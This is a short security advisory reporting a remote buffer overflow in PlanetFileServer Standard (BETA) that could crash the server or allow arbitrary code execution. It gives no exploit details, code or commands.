PlanetFileServer is prone to a remote buffer overflow vulnerability.

A successful attack may allow an attacker to cause the server to crash or execute arbitrary code. This can lead to remote unauthorized access to the affected computer in the context of the server.

PlanetFileServer Standard (BETA) is vulnerable to this issue.
